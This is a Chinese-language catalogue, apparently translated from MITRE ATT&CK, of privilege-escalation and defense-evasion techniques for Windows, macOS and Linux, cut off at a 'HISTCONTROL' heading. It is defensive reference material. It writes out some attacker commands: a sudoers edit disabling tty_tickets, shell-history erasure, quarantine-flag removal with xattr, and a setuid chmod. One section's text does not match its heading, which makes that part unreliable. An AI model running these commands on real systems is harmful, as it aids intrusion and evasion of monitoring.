当操作系统启动时,它们会启动称为服务的程序或软件,这些程序和软件执行后台系统功能。服务的配置信息,包括服务的可执行文件路径,都存储在 Windows 注册表中。 攻击者可以安装新的服务,通过使用实用程序与服务交互或直接修改注册表来配置该服务,使其在启动时执行。服务名称可以使用相关操作系统的名称或伪装的良性软件的名称来伪装。服务可以由管理员创建,但在 SYSTEM 权限下执行,因此攻击者也可以利用服务将权限从管理员提升到 SYSTEM。攻击者也可以通过服务执行(Service Execution)直接启动服务。

路径劫持

路径劫持发生在可执行文件被放在特定路径中,文件由某一应用程序执行而不是预定目标执行时。其中一个例子是在一个有漏洞的应用程序的当前工作目录中使用 cmd 副本,该应用程序使用 CreateProcess 函数加载 CMD 或 BAT 文件。 在进行路径劫持时,攻击者可以利用多个明显的缺陷或错误配置:未加引号的路径,配置错误的 PATH 环境变量和搜索顺序劫持。第一个漏洞有关完整的程序路径,而未指定程序路径会导致第二个和第三个漏洞。如果可执行文件是定期被调用的,则可以使用路径劫持技术进行持久化,如果被拦截的可执行文件由更高权限的进程启动,则可以利用该技术进行权限提升。 A.未加引号的路径 如果服务路径(存储在 Windows 注册表项中) 和快捷路径具有一个或多个空格且未被引号括起(例如,C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"),那么它们容易受到路径劫持的攻击,。 攻击者可以将一个可执行文件放在比原路径的更高级别目录中,然后 Windows 将解析该可执行文件而不是预期的可执行文件。例如,如果快捷方式中的路径是 C:\program files\myapp.exe,攻击者可以在C:\program.exe目录下创建程序,那么将被运行的是该程序而不是预期的程序。 B.PATH 环境变量配置错误 PATH 环境变量包含一个目录列表。如果没有给出程序路径,某些执行程序的方法(比如使用 cmd.exe 还是命令行)仅依赖于 PATH 环境变量来确定在哪些位置搜索程序。如果有目录在 PATH 环境变量中位于 Windows 目录之前,%SystemRoot%\system32(例如C:\Windows\system32)。则可以将与 Windows 程序(例如 cmd,PowerShell 或 Python)名称相同的程序放在前面的目录中, 当对应命令在脚本或命令行中被调用时,该程序会被执行。 例如,如果 C:\example path 在 PATH 环境变量中在 C:\Windows\system32 前面,那么当命令行执行“net”时, 位于 C:\example path 的 net.exe 将会被调用,而不是 Windows 系统的 “net”。 C.搜索顺序劫持 搜索顺序劫持发生在攻击者滥用 Windows 对于未给出路径的程序的搜索顺序时。执行程序的方法不同,搜索顺序也会不同。 但是,Windows 通常在搜索 Windows 系统目录之前搜索启动程序目录。攻击者如果发现易受搜索顺序劫持攻击的程序(即未指定可执行文件路径的程序),可以通过创建以 未正确指定的程序命名的程序并将其放在启动程序的目录中来利用此漏洞。 例如,“example.exe”使用命令行参数net user运行“cmd.exe” 。攻击者可以将名为“net.exe”的程序放在与 example.exe 相同的目录中,执行“example.exe”时将运行该“net.exe”而不是 Windows 系统实用程序 net。此外,如果攻击者将名为“net.com”的程序放在与“net.exe”相同的目录中,根据 PATHEXT 定义的可执行扩展的顺序。cmd.exe /C net user将执行“net.com”而不是“net.exe” , 搜索顺序劫持也是劫持 DLL 加载的常见做法,这在 DLL 搜索顺序劫持中有所涉及。

修改 Plist

属性列表 (plist) 文件包含 macOS 和 OS X 中应用程序和服务所有配置信息。 这些文件采用 UTF-8 编码并像 XML 文档一样通过一系列由<>包围的键来格式化。 它们详细说明了程序应该在何时执行、可执行文件的路径、程序参数、所需的操作系统权限以及许多其他内容。plists 位于特定的位置,这取决于它们的用途,例如 /Library/Preferences(使用高级特权执行)和~/Library/Preferences(使用用户的特权执行)。 攻击者可以修改这些 plist 文件以指向自己的代码,可以利用它们在另一个用户的上下文中执行自己的代码,可以绕过白名单,甚至可以利用它们实现持久化。

端口监视器

可以通过 API 调用设置端口监视器, 以设置要在启动时加载的 DLL。 此 DLL 可以位于 C:\Windows\System32,并且在启动时被打印机,spoolsv.exe 被加载。spoolsv.exe 进程也在 SYSTEM 级别权限下运行。 或者,如果权限允许为该 DLL 写入完整的路径名到HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors​​,则可以加载任意 DLL。注册表项包含以下条目:1. 本地端口 2. 标准 TCP / IP 端口 3. USB 监视器 WSD 端口 攻击者可以使用此技术在启动时加载恶意代码,这些代码将在系统重新启动时持续存在并以 SYSTEM 级别权限执行。

进程注入

进程注入是一种在独立活动进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码会允许代码访问进程的内存、系统/网络资源,以及可能提升的特权。由于合法进程掩盖了(注入进程的)执行,因此通过进程注入执行也可规避对安全产品的检测。 A.Windows 将代码注入实时进程有多种方法。Windows 下的实现包括: - 动态链接库 (DLL) 注入涉及在进程中写入恶意 DLL 的路径,然后通过创建远程线程调用执行。 - 可移植性可执行注入包括将恶意代码直接写入进程(磁盘上没有文件),然后使用附加代码或创建远程线程调用执行。注入代码的替换要求重新映射内存引用。这种方法的变体,如反射 DLL 注入(将自映射 DLL 写入进程)和内存模块(写入进程时映射 DLL),解决了了地址重定位问题。 - 线程执行劫持涉及将恶意代码或 DLL 路径注入进程的线程。与进程镂空类似,首先必须挂起线程。 - 异步过程调用 (APC) 注入涉及将恶意代码附加到进程线程的 APC 队列 。当线程进入可变状态时,执行在 APC 队列的函数。APC 注入的一种变体为"Early Bird 注入",它涉及到创建一个挂起的进程,在进程的入口点(以及可能随后的反恶意软件钩子)之前,通过 APC 编写和执行恶意代码。 AtomBombing 是另一种变体,它利用 APC 调用以前编写到全局原子表的恶意代码。 - 线程本地存储 (TLS) 回调注入涉及操作可移植性可执行文件 (PE) 中的指针,以便在到达代码的合法入口点之前将进程重定向到恶意代码。 B.Mac 和 Linux Linux 和 OS X/macOS 系统的实现包括: - LD_PRELOAD、LD_LIBRARY_PATH (Linux)、DYLD_INSERT_LIBRARIES (Mac OS X) 环境变量或 dlfcn 应用程序编程接口 (API) 可用于动态加载进程中的库(共享对象),该库可用于拦截运行进程中的 API 调用。 - Ptrace 系统调用可用于附加到正在运行的进程并在运行时修改它。 - /proc/
/mem 提供对进程内存的访问,可用于对进程读写任意数据。因其复杂性,该技术十分少见。 - VDSO 劫持通过操作 linux-vdso.so 共享对象映射的桩代码,在 ELF 二进制文件上执行运行时注入。 恶意软件通常利用进程注入来访问系统资源,通过这些资源可以获得持久性和修改其他环境。 更复杂的示例:使用命名管道或其他进程间通信 (IPC) 机制作为通信通道,执行多进程注入来分割模块并进一步规避检测。

SID-History 注入

Windows 安全标识符 (SID) 是独一无二的,用于标识用户或组帐户。 Windows 安全中心在安全描述符和访问令牌中都使用 SID。 帐户可以在 SID-History Active Directory 属性 中保存额外的 SID,允许域之间的可互操作帐户迁移(例如,SID-History 中的所有值都包含在访问令牌中)。 攻击者可以利用此机制提升权限。 使用域管理员(或等效的)权限,可以将获取的或已知的 SID 值 插入到 SID- history 中,以冒充任意用户/组(如企业管理员)。 这种操作可以通过横向移动技术(如远程服务、Windows 管理共享或 Windows 远程管理),提高对本地资源和/或其他不可访问域的访问权。

计划任务

诸如 at 和 schtasks 之类的实用程序以及 Windows 任务计划程序可以安排在指定日期和时间执行的程序或脚本。 还可以在远程系统上计划任务,前提是有正确身份验证以使用 RPC,并且已开启文件和打印机共享。 通常远程系统上 Administrators 组的成员才能在远程系统上计划任务。 攻击者可以使用任务计划来在系统启动时,或在计划的基础上执行程序以实现持久化,作为横向移动的一部分执行远程任务,获得 SYSTEM 权限,或者在指定帐户的上下文下运行进程。

服务注册表权限缺陷

Windows 将本地服务配置信息存储在 HKLM 下的注册表中。可以通过诸如服务控制器、sc.exe、PowerShell 或 Reg 等工具操作存储在服务注册表项下的信息来修改服务的执行参数。对注册表项的访问由访问控制列表和权限控制。 如果没有正确设置用户和组的权限,并且不限制对服务的注册表项访问,则攻击者可以更改服务 binPath/ImagePath 以指向受其控制的另一个可执行文件。当服务启动或重启时会执行由攻击者控制的程序,使得攻击者获得持久性和/或提权到服务运行所需的帐户上下文。(本地/域帐户,SYSTEM,LocalService 或 NetworkService) 攻击者还可以更改与服务失败参数(例如 FailureCommand) 关联的注册表键,参数内容可能在服务失败或有意崩溃时在提升的上下文中执行。

Setuid与Setgid

在Linux或macOS上为应用程序设置setuid或setgid位时,这意味着该应用程序将分别以拥有用户或组的特权运行 。通常,应用程序是在当前用户的上下文中运行的,而不管哪个用户或组拥有该应用程序。在某些情况下,需要在提升权限的上下文中执行程序才能正常运行,但运行它们的用户不需要提升权限。任何用户都可以在自己的应用程序中指定要设置的setuid或setgid标志,而不必在sudoers文件中创建条目(必须由root用户创建)。通过查看文件属性时,这些位用“ s”而不是“ x”表示ls -l。该chmod程序可以经由bitmasking设置这些位,chmod 4777
或通过缩写命名chmod u+s
。 攻击者可以利用此优势进行shell逃逸或利用具有setuid或setgid位的应用程序中的漏洞来获取在不同用户上下文中运行的代码。此外,对手可以对自己的恶意软件使用此机制,以确保他们将来能够在提升的环境中执行。

启动项目

根据Apple的文档,启动项在启动过程的最后阶段执行,并且包含shell脚本或其他可执行文件以及系统用来确定所有启动项的执行顺序的配置信息。从技术上讲,这是一个不推荐使用的版本(由Launch Daemons取代),因此/Library/StartupItems默认情况下不能保证相应的文件夹存在于系统上,但默认情况下似乎确实存在于macOS Sierra上。启动项是一个目录,其可执行文件和配置属性列表(plist)StartupParameters.plist位于顶层目录中。 对手可以在StartupItems目录中创建适当的文件夹/文件,以注册其自己的持久性机制。此外,由于StartupItems在macOS的启动阶段运行,因此它们将作为root运行。如果对手能够修改现有的启动项,那么他们也将能够升级特权。

Sudo 缓存

sudo 命令“使得系统管理员可以授权特定用户或用户组作为 root 或他用户执行某些(或所有)命令,同时还能够对命令及其参数进行审核跟踪”。 sudo 是为系统管理员创建的,因此具有一些有用的配置特性,比如 timestamp_timeout,是 sudo 记录密码的时间(以分钟为单位),超过后重新提示输入密码。这是因为 sudo 能够缓存一段时间的凭据。 Sudo 在/var/db/sudo 上创建一个文件,该文件带有 Sudo 上次运行的时间戳,以确定是否超时。 此外,还有一个 tty_tickets 变量,独立处理每个新的 tty(终端会话)。 这意味着,例如,一个 tty 的 sudo 超时不会影响另一个 tty(您必须再次输入密码)。 攻击者可以滥用此不良配置来提升特权,而无需用户的密码。 可以监视/var/db/sudo 的时间戳,查看它是否在 timestamp_timeout 范围内。 如果是,恶意软件就可以执行 sudo 命令,而无需提供用户密码。 当 tty_tickets 被禁用时,攻击者可以从该用户的任意 tty 执行此操作。 通过执行 echo“default !tty_tickets”>> /etc/sudoers,OSX Proton 恶意软件禁用 tty_tickets 来简化脚本。 为了这种变化生效,Proton 恶意软件还必须执行 killall Terminal。 在 macOS Sierra 中,sudoers 文件默认启用 tty_tickets。

Sudo

/etc/sudoers 文件描述了哪些用户可以运行哪些命令以及从哪些终端运行这些命令。它还描述了哪些命令用户可以作为其他用户或组运行。这提供了最小权限的概念,即用户在大多数时间内以尽可能低的权限运行,只在需要时提升到其他用户或权限,通常通过提示输入密码进行提权。然而,sudoers 文件还可以通过 user1 ALL=(ALL) NOPASSWD: ALL 来指定何时不提示用户输入密码: 攻击者可以利用这些配置以其他用户身份执行命令或者生成具有更高权限的进程。但是必须具有高权限才能编辑该文件。

有效帐户

攻击者可以使用凭据访问技术窃取特定用户或服务帐户的凭据,或者通过社会工程在早期侦察过程中获取凭据,以获取初始访问权限。 被盗取的凭据可以用于绕过对网络内系统上各种资源的访问控制,甚至可能用于对远程系统和外部可用服务(如 vpn、Outlook Webaccess 和远程桌面)的持久性访问。被盗取的凭据还可能给攻击者提供特定系统的更高权限,或对网络的受限区域的访问权。攻击者可能会选择不把这些凭据提供的合法访问与恶意软件或工具结合使用,使其更加隐蔽。 攻击者也可以创建帐户,有时使用预定义的帐户名称和密码,作为在其他方法失败时通过备用访问获得持久性的一种方法。 跨系统网络的凭据和权限的重叠令人担忧,因为攻击者可能能够跨帐户和系统实现高级别访问(例如,域或企业管理员) ,以绕过企业内设置的访问控制。

Web Shell

Web shell 是可公开访问的 Web 服务器上的 Web 脚本,它使攻击者能够利用 Web 服务器作为进入网络的网关。Web shell 可以提供 Web 服务器系统上的一组可执行函数或命令行界面。除了服务器端脚本之外,Web shell 还可用于与 Web 服务器通信的客户机接口程序(参见,例如,China Chopper Web shell 客户端)。 Web shell 可以作为冗余访问 (Redundant Access) 或持久化机制,以防攻击者的主要访问方法被检测到并禁止。

PPID欺骗

对手可能会欺骗新进程的父进程标识符(PPID),以逃避进程监视防御或提升特权。除非明确指定,否则通常直接从其父进程或调用进程中产生新进程。显式分配新进程的PPID的一种方法是通过CreateProcessAPI调用,该调用支持定义要使用的PPID的参数。Windows功能(例如,用户帐户控制(UAC))使用此功能来在系统(通常是通过svchost.exe或consent.exe)而不是当前用户上下文生成请求的提升进程后正确设置PPID 。 对手可能滥用这些机制来逃避防御,如阻塞进程直接从Office文档,并分析产卵针对不同寻常的/潜在的恶意父子进程的关系,如欺骗的PPID的PowerShell(T1086)/Rundll32(T1085)是explorer.exe,而不是交付Office文档作为鱼叉附件的(T1193)一部分。可以通过恶意Office文档中的VBA脚本(T1064)或可以通过API(T1106)执行S执行的(T1106)任何代码来执行此欺骗。 明确分配PPID还可以启用特权升级(TA0004)(对父进程具有适当的访问权限)。例如,特权用户上下文中的对手(即管理员)可以产生一个新进程,并将父进程分配为以SYSTEM(例如)身份运行的进程lsass.exe,从而通过继承的访问令牌提升新进程。

PowerShell配置文件

在某些情况下,攻击者可以通过滥用PowerShell(T1086)配置文件来获得持久性和提升特权。PowerShell配置文件(profile.ps1)是一个在PowerShell启动时运行的脚本,可以用作登录脚本来自定义用户环境。PowerShell根据用户或主机程序支持多个配置文件。例如,PowerShell主机程序(例如PowerShell控制台,PowerShell ISE或Visual Studio Code)可以有不同的配置文件。管理员还可以配置一个配置文件,该配置文件适用于本地计算机上的所有用户和主机程序。 攻击者可能会修改这些配置文件,以包括任意命令,功能,模块和/或PowerShell驱动器来获得持久性。每次用户打开PowerShell会话时,除非启动该-NoProfile标志,否则将执行修改后的脚本。 如果PowerShell概要文件中的脚本由具有较高特权的帐户(例如域管理员)加载并执行,则对手也可能能够提升特权。

Elevated Execution with Prompt

攻击者可以通过提示用户输入凭据来利用AuthorizationExecuteWithPrivileges API升级特权。此API的目的是为应用程序开发人员提供一种使用root特权执行操作的简便方法,例如用于应用程序安装或更新。此API不会验证请求root特权的程序是否来自信誉良好的源或已被恶意修改。尽管不推荐使用此API,但它仍可在最新版本的macOS中完全发挥作用。调用此API时,将提示用户输入其凭据,但不检查程序的来源或完整性。调用API的程序还可以加载可写的世界文件,可以将其修改为以提升的特权执行恶意行为。 攻击者可能滥用AuthorizationExecuteWithPrivileges以获得root特权,以便在受害者上安装恶意软件并安装持久性机制。该技术可以与伪装(T1036)结合使用,以欺骗用户向恶意代码授予逐步升级的特权。通过修改使用此API的计算机上存在的合法程序,该技术也已显示出有效。

Emond

攻击者可以使用事件监视器守护程序(emond)通过安排恶意命令在可预测的事件触发器上运行来建立持久性。Emond是一个启动守护程序(T1160),它接受来自各种服务的事件,通过简单的规则引擎运行它们并采取行动。的emond二进制文件/sbin/emond将加载/etc/emond.d/rules/目录中的所有规则,并在发生明确定义的事件后立即采取措施。规则文件为plist格式,并定义名称,事件类型和要执行的操作。事件类型的一些示例包括系统启动和用户身份验证。操作示例是运行系统命令或发送电子邮件。如果/private/var/db/emondClients在启动守护程序中(T1160)指定的QueueDirectories路径中没有文件,则emond服务将不会启动的配置文件/System/Library/LaunchDaemons/com.apple.emond.plist。 攻击者可以通过编写规则来在发生定义的事件(例如系统启动或用户身份验证)时执行命令来滥用此服务。当emond服务由启动守护程序(T1160)服务以root特权执行时,攻击者也可以将特权从管理员升级到root 。

防御规避

防御规避包括攻击者可能用来逃避检测或避免其他防御的技术。有时,这些行为与其他类别的技术相同或不同,这些技术还可以破坏特定防御或缓解措施。防御规避可被视为攻击者应用到操作的所有其他阶段的一组属性。 其主要包含的战术内容如下:

篡改访问令牌

Windows使用访问令牌来确定正在运行的进程的所有权。用户可以操纵访问令牌以使正在运行的进程看起来像它属于启动该进程的用户以外的其他人。发生这种情况时,该过程还将采用与新令牌关联的安全性上下文。例如,Microsoft提倡使用访问令牌作为安全性最佳实践。管理员应以标准用户身份登录,但使用内置访问令牌操作命令以管理员权限运行其工具runas。 攻击者可以使用访问令牌在不同的用户或系统安全性上下文下进行操作,以执行操作并逃避检测。攻击者可以使用内置的Windows API函数来复制现有进程中的访问令牌。这被称为令牌窃取。对手必须已经在特权用户上下文(即管理员)中才能窃取令牌。但是,攻击者通常使用令牌窃取将其安全上下文从管理员级别提升到SYSTEM级别。如果帐户对远程系统具有适当的权限,则对手可以使用令牌作为该令牌的帐户向远程系统进行身份验证。

BITS 作业

Windows 后台智能传输服务 (BITS) 是一种低带宽、异步的文件传输机制,通过组件对象模型 (COM) 供外部调用。 更新程序、消息传递程序和其他应用程序通常使用 BITS 进行后台操作(使用可用的空闲带宽),不会中断其他联网应用程序。 文件传输任务实现为 BITS 作业,它包含一个或多个文件操作的队列。 可以通过 PowerShell 和 BITSAdmin 工具访问创建和管理 BITS 作业的接口。 攻击者可能会滥用 BITS 来下载、执行,甚至在运行恶意代码后清理痕迹。 BITS 任务在 BITS 作业数据库中是自包含的,不需要新文件或修改注册表,而且通常被主机防火墙允许。 了 BITS 启用执行还可以通过创建长期作业(默认最大生存期为 90 天,可延长)或在作业完成或出现错误(包括系统重新启动后)时调用任意程序来实现持久化 (Persistence )。 BITS 上传功能也可以用于在备用协议上进行数据渗漏 (Exfiltration Over Alternative Protocol)。

二进制填充

某些安全工具会检查具有静态签名的文件以确定它们是否是恶意的。攻击者可以向文件添加数据,使其大小超过安全工具能够处理的最大大小,或者更改文件散列以绕过基于散列的黑名单检查。

绕过用户帐户控制

Windows 用户帐户控制 (UAC) 使程序可以通过提示用户进行确认来提升权限,从而在管理员权限下执行任务。对用户的影响包括强制拒绝操作,允许用户执行操作(如果用户在本地管理员组中并单击提示符),或允许用户输入管理员密码以完成操作。 如果计算机的 UAC 保护级别设置为最高级别以外的任何级别,则特定 Windows 程序可以提升特权或执行某些提升的 COM 对象,而不会通过 UAC 通知框提示用户。 这方面的一个例子是使用 rundll32.exe 加载特制的 DLL,它加载自动提权的 COM 对象并在受保护的目录中执行文件操作,这通常需要提升访问权限。恶意软件也可以被注入到受信任的进程中,从而在不提示用户的情况下获得更高的权限。如果目标进程不受保护, 攻击者可以使用这些技术将权限提升为管理员。 已发现许多绕过 UAC 的方法。UACMe 的 Github readme 页面包含已在 UACMe 中发现和实施的广泛的方法列表 ,但可能不是全面的绕过列表。经常发现其他的旁路方法,其中一些在民间使用,如: eventvwr.exe 可以自动提权并执行指定的二进制文件或脚本。 如果已知具有管理员权限的帐户的凭据,则可以通过横向移动技术进行绕过,因为 UAC 是单系统安全机制,并且在系统上运行的进程的权限或完整性对于横向系统是未知的,默认为高完整性。

CMSTP

Microsoft 连接管理器配置文件安装程序 (CMSTP.exe) 是用于安装连接管理器服务配置文件的命令行程序。 CMSTP.exe 接受安装信息文件 (INF) 作为参数,并安装用于远程访问连接的服务配置文件。 攻击者可以将感染恶意命令的 INF 文件传给 CMSTP.exe。 类似于 Regsvr32 /“Squiblydoo”,攻击者可能滥用 CMSTP.exe 从远程服务器加载和执行 DLL 和/或 COM scriptlet (SCT)。 该执行也可以绕过 AppLocker 和其他白名单防御。因为 CMSTP.exe 是一个合法的、Microsoft 签名应用程序。 CMSTP.exe 还可能被滥用于绕过用户帐户控制,并通过自动提升的 COM 接口执行来自恶意 INF 的任意命令。

清除的命令历史记录

macOS 和 Linux 都会记录用户在终端中输入的命令,以便用户能够轻松地记住做过的事情。可以通过几种不同的方式访问这些日志。在登录时,此命令会被记录在环境变量 HISTFILE 指向的文件中。当用户从系统中注销时,该记录被写入到用户主目录一个称为、~/.bash_history 的文件中。这样做的好处是使用户能够追溯到以前在不同会话中使用过的命令。由于所有在命令行上键入的内容都会保存,因此也会包括在命令行上传递的密码。攻击者可以滥用这点从这些文件中搜索明文密码。此外,攻击者可以使用多种方法来避免自己的命令出现日志中,比如命令 unset HISTFILE, export HISTFILESIZE=0, history -c, rm \~/.bash_history.

代码签名

代码签名为来自开发人员的二进制文件提供了一定程度的真实性,并保证该文件没有被篡改。 然而,已知攻击者会使用代码签名证书来将恶意软件和工具伪装成合法的二进制文件 。 操作中使用的证书可能是由攻击者创建、伪造或窃取的。 可在现代 Windows 和 macOS/OS X 系统上使用代码签名,在软件首次运行时进行验证。 由于该技术的去中心化特性,它没有在 Linux 上使用。 代码签名证书可用于绕过需要签名代码才能在系统上执行的安全策略。

已编译的 HTML 文件

已编译的 HTML 文件 (.chm) 通常作为 Microsoft HTML 帮助系统的一部分分发。 CHM 文件是各种内容(如 HTML 文档、图像)和编程语言相关的脚本/web(如 VBA、JScript、Java 和 ActiveX) 的压缩编译。 CHM 内容使用由 HTML 帮助可执行程序 (hh.exe) 加载的 Internet Explorer 浏览器 的底层组件显示。 攻击者可能会滥用这项技术来隐藏恶意代码。 将包含嵌入式有效载荷的自定义 CHM 文件交付给受害者,然后通过用户执行 (User Execution) 触发。 CHM 的执行也可以绕过旧系统和/或未打补丁的系统上的应用程序白名单,这些系统不考虑通过 hh.exe 执行二进制文件。

组件固件

攻击者可以使用多个具有不同命令与控制协议的远程访问工具来规避检测。 如果一种类型的工具被检测到并被屏蔽或删除,而组织没有完全了解攻击者的工具和访问权限,那么攻击者将能够维持对网络的访问权限。 攻击者还可能试图获得对有效帐户的访问权,以使用外部远程服务(如外部 vpn) 来维护访问权限,尽管目标网络中部署的远程访问工具会受到干扰。 可以使用 Web Shell 来通过外部可访问的 Web 服务器维持对某一网络的访问权限。

组件对象模型劫持

组件对象模型 (COM) 是 Windows 中的一个系统,它支持软件组件之间通过操作系统交互。 攻击者可以使用该系统插入恶意代码,这些代码可以通过劫持 COM 引用和关系作为持久化的手段来代替合法软件执行。 劫持 COM 对象需要更改 Windows 注册表,以替换对合法系统组件的引用,这可能导致该组件在执行时无法正常工作。 当该系统组件通过正常的系统操作执行时,攻击者的代码将被执行。 攻击者很可能劫持那些经常使用的对象,以保持一致的持久性,但不太可能破坏系统中的明显功能,避免系统不稳定而触发检测。

控制面板项

Windows 控制面板项是允许用户查看和调整计算机设置的实用程序。 控制面板项是已注册的可执行文件 (.exe) 或控制面板文件 (.cpl),后者实际上被重命名为动态链接库 (.dll) 文件,导出 CPlApplet 函数。 控制面板项可以直接从命令行执行,也可以通过应用程序编程接口 (API) 调用以编程方式执行,或者只需双击文件即可。 为了便于使用,控制面板项在完成注册并加载到控制面板后,通常包括用户可用的图形菜单。 攻击者可以使用控制面板项作为执行有效载荷来执行任意命令。 恶意控制面板项可以通过以鱼叉式钓鱼附件 (Spearphishing Attachment ) 的方式 传递或作为多级恶意软件的一部分执行。 控制面板项,特别是 CPL 文件,也可以绕过应用程序和/或文件扩展名白名单。

DCShadow

DCShadow 是一种通过注册(或重用非活动的注册)和模拟域控制器 (DC) 行为来操作活动目录 (AD) 数据(包括对象和模式)的方法。 一旦完成注册 ,恶意 DC 就可以为任何域对象(包括凭据和密钥)在 AD 基础架构中注入和复制更改。 注册恶意 DC 需要在 AD 模式的配置 (Configuration ) 分区中创建一个新的服务器和 nTDSDSA 对象,这需要管理员权限(域或本地 DC) 或 KRBTGT 散列。 这种技术可能会绕过系统日志记录和安全监视器,比如安全信息和事件管理 (SIEM) 产品(因为可能不会向这些传感器报告在恶意 DC 上执行的操作)。 该技术还可用于修改和删除副本和其他相关元数据,以阻碍取证分析。 攻击者也可以使用这种技术来执行 SID 历史注入 (SID-History Injection) 和/或操作 AD 对象(如帐户、访问控制列表、模式)以建立用于持久化 (Persistence) 的后门。

DLL 搜索顺序劫持

Windows 系统使用常见方法来查找需要加载到程序中的 DLL。 攻击者可以利用 Windows DLL 搜索顺序和未明确指明 DLL 的程序来提权和持久化攻击。 攻击者可以执行 DLL 预加载,也称为二进制种植攻击 。执行该攻击的方式是将与未明确的 DLL 同名的恶意 DLL 放置到某一位置,这个位置在合法 DLL 所在位置前被 Windows 搜索到。 该位置通常是程序的当前工作目录。当程序在加载 DLL 之前将其当前目录设置为远程目录(如 Web 共享),会发生远程 DLL 预加载攻击。 攻击者可能会这样做使得程序加载恶意 DLL。 攻击者还可以通过替换现有 DLL 或修改。manifest 或。local 重定向文件,目录或 Junction 来直接修改程序加载 DLL 的方式,以使程序加载不同的 DLL 以持久化攻击或提权。 如果有 DLL 搜索顺序漏洞的程序配置为在更高的权限级别运行,则加载的由攻击者控制的 DLL 也将在更高级别执行。在这种情况下,该技术可用于从用户到管理员或 SYSTEM 或从管理员到 SYSTEM 的权限升级,具体取决于程序。 被路径劫持的程序可能看起来正常,因为可以配置 恶意 DLL 使其同时加载它们所替换的合法 DLL。

DLL 侧载

程序可以指定在运行时加载的 DLL。 不正确或模糊地指定所需 DLL 的程序可能会导致漏洞,从而加载非预期 DLL。 当 Windows Side-by-Side (WinSxS) 的 Manifests 对要加载的 DLL 的特征不够明确时,就会出现侧载漏洞。 攻击者可以利用易受侧载攻击的合法程序来加载恶意 DLL。 攻击者很可能使用这种技术来掩盖他们在合法的、可信的系统或软件进程下执行的操作。

反混淆/解码文件或信息

攻击者可能会混淆文件或信息来隐藏入侵的工件以避免检测。他们可能需要单独的机制来对信息解码或解混淆,这取决于打算使用的方式实现此目的的方法包括恶意软件的内置功能、脚本、PowerShell 或使用系统上提供的实用程序。 相关的例子是使用 certutil 对隐藏在证书文件中的远程访问工具的可移植性可执行文件进行解码。 另一个例子是使用 Windows copy /b 命令重新组装二进制片段成恶意的 payload。 可以压缩,存档或加密 payload 以避免检测。 这些 payload 可以在初始访问期间使用或稍后用于混淆文件或信息以减轻检测。 有时可能需要用户操作来打开它以在用户执行时进行解混淆或解密。 用户可能还需要输入密码来打开由攻击者提供的受密码保护的压缩/加密文件。 攻击者也可以使用压缩或归档的脚本,比如 Javascript。

禁用安全工具

攻击者禁用安全工具,以避免他们的工具和活动被检测到。可以采取以下形式:终止安全软件或事件日志记录流程、删除注册表项以便工具不会在运行时启动,或者使用其他方法干扰安全扫描或事件报告。

防御规避的利用

软件漏洞利用指的是攻击者利用程序,服务或操作系统软件或内核本身中的编程错误来执行攻击者控制的代码。 防御性安全软件中可能存在漏洞,可用于禁用或绕过它们。 通过侦察,攻击者可能事先知道某个环境中存在的安全软件,或者在系统受到安全软件披露 (Security Software Discovery) 攻击期间或之后不久检查安全软件。 很可能将安全软件直接作为漏洞利用的目标。 为了避免被发现,一些持续性威胁组织以杀毒软件为目标。

额外窗口内存注入

在创建窗口之前,基于 Windows 的图形化进程必须规定或注册一个窗口类,它规定了外观和行为(通过 Windows 程序,它是处理数据输入/输出的函数)。
新窗口类的注册可以包括请求最多 40 个字节的额外窗口内存(EWM),以附加到该类的每个实例的分配的内存中。此 EWM 旨在存储该窗口的特定数据,并具有特定的应用程序编程接口(API)函数来设置和获取其值。

虽然很小,但 EWM 足以存储 32 位指针,通常用于指向 Windows 程序。恶意软件可能在攻击链的一部分中利用此内存位置,包括将代码写入进程内存的共享部分,在 EWM 中放置指向代码的指针,然后通过将执行控制返回到进程的 EWM 中的地址来调用执行。 通过 EWM 注入授权的执行可以在单独的实时进程的地址空间中进行。与进程注入类似,这允许访问目标进程的内存和潜在的高级权限。将 payload 写入共享部分还可以避免使用高度监控的 API 调用,例如 WriteProcessMemory 和 CreateRemoteThread。
更复杂的恶意软件样本也可能通过触发 Windows 程序和其他系统功能的组合来绕过保护机制,例如数据执行保护(DEP),这些功能将重写目标进程的可执行部分内的恶意负载。

文件删除

攻击者在系统上删除或创建的恶意软件,工具或其他非本机文件可能会留下关于在网络中执行的操作以及操作方式的痕迹。 攻击者可以在入侵过程中删除这些文件以减少留下的足迹,也可以在入侵后清理过程的最后删除它们。 主机操作系统的一些工具可以执行清理操作,但是攻击者也可以使用其他工具。 如本机 cmd 函数(如 DEL)、安全删除工具(如 Windows Sysinternals SDelete) 或其他第三方文件删除工具。

文件权限修改

文件权限通常由文件所有者指定的自由访问控制列表 (DACL) 管理。 文件 DACL 实现可能因平台而异,但通常明确指定哪些用户/组可以执行哪些操作(例如:读、写、执行等)。 攻击者可能会修改文件权限/属性以绕过预期的 DACL。 修改可能包括更改特定的访问权限,这可能需要获得文件的所有权和/或更高的权限,如管理员/root 权限,这取决于文件的现有权限,以允许恶意活动,如修改、替换或删除特定文件。 修改特定的文件可能是许多技术的必需步骤,例如通过辅助功能获得持久性特性 (Persistence via Accessibility Features)、登录脚本或 (Logon Scripts), 污染/劫持其他工具二进制/配置文件。

文件系统逻辑偏移

Windows 允许程序直接访问逻辑卷。具有直接访问权限的程序可以通过分析文件系统数据结构直接从驱动器读取和写入文件。此技术可以绕过 Windows 文件访问控制以及文件系统监视工具。 一些实用程序在 PowerShell 中执行这些操作,例如 NinjaCopy。

Gatekeeper 绕过

在macOS和OS X中,从Internet下载应用程序或程序时,在名为的文件上设置了特殊属性com.apple.quarantine。苹果的Gatekeeper防御程序会在执行时读取此属性,并向用户提示允许或拒绝执行。 从USB闪存驱动器,光盘,外部硬盘驱动器甚至从本地网络共享的驱动器加载到系统上的应用程序都不会设置此标志。此外,其他实用程序或事件(例如“路过”下载)也不一定要对其进行设置。这完全绕过了内置的Gatekeeper检查。
的检疫标志的存在可以通过XATTR命令检查xattr /path/to/MyApp.app了com.apple.quarantine。类似地,给定sudo访问权限或提升的权限,也可以使用xattr删除此属性sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app。 在典型操作中,文件将从互联网上下载并被隔离,然后保存到磁盘。当用户尝试打开文件或应用程序时,macOS的网守将介入并检查此标志的存在。如果存在,则macOS会提示用户确认他们要运行该程序,甚至会提供应用程序来源的URL。但是,所有这些都基于从隔离应用程序下载的文件。

HISTCONTROL

